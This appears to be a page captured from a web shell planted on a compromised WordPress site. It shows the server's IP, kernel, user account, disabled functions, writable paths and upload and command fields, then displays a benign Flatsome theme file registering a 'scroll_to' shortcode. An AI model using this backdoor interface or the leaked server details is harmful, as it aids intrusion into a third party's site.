403Webshell
Server IP : 172.67.75.225  /  Your IP : 216.73.216.185
Web Server : nginx/1.27.1
System : Linux us-1 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User : vinodai ( 3134)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v1396/themastermynd/public_html/wp-content/themes/flatsome/inc/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v1396/themastermynd/public_html/wp-content/themes/flatsome/inc/shortcodes/scroll_to.php
<?php
/**
 * Registers the `scroll_to` shortcode.
 *
 * @package flatsome
 */

/**
 * Renders the `scroll_to` shortcode.
 *
 * @param array  $atts    An array of attributes.
 * @param string $content The shortcode content.
 * @param string $tag     The name of the shortcode, provided for context to enable filtering.
 *
 * @return string
 */
function flatsome_scroll_to( $atts, $content = null, $tag = '' ) {
	$atts = shortcode_atts( array(
		'bullet'      => 'true',
		'title'       => 'Change this',
		'link'        => '',
		'offset_type' => '',
		'offset'      => '0',
	), $atts, $tag );

	if ( ! $atts['title'] && ! $atts['link'] ) {
		return false;
	}

	// Convert title to link if link is not set.
	if ( ! $atts['link'] ) {
		$atts['link'] = flatsome_to_dashed( $atts['title'] );
	}

	if ( substr( $atts['link'], 0, 1 ) !== '#' ) {
		$atts['link'] = '#' . $atts['link'];
	}

	$element_atts = array(
		'class'       => 'scroll-to',
		'data-label'  => esc_attr( 'Scroll to: ' . $atts['link'] ),
		'data-bullet' => esc_attr( $atts['bullet'] ),
		'data-link'   => esc_attr( $atts['link'] ),
		'data-title'  => esc_attr( $atts['title'] ),
	);

	if ( $atts['offset_type'] === 'custom' ) {
		$element_atts['data-offset-type'] = $atts['offset_type'];
		$element_atts['data-offset']      = esc_attr( $atts['offset'] );
	}

	return sprintf( '<span %s><a name="%s"></a></span>',
		flatsome_html_atts( $element_atts ),
		esc_attr( str_replace( '#', '', $atts['link'] ) )
	);
}

add_shortcode( 'scroll_to', 'flatsome_scroll_to' );

Youez - 2016 - github.com/yon3zu
LinuXploit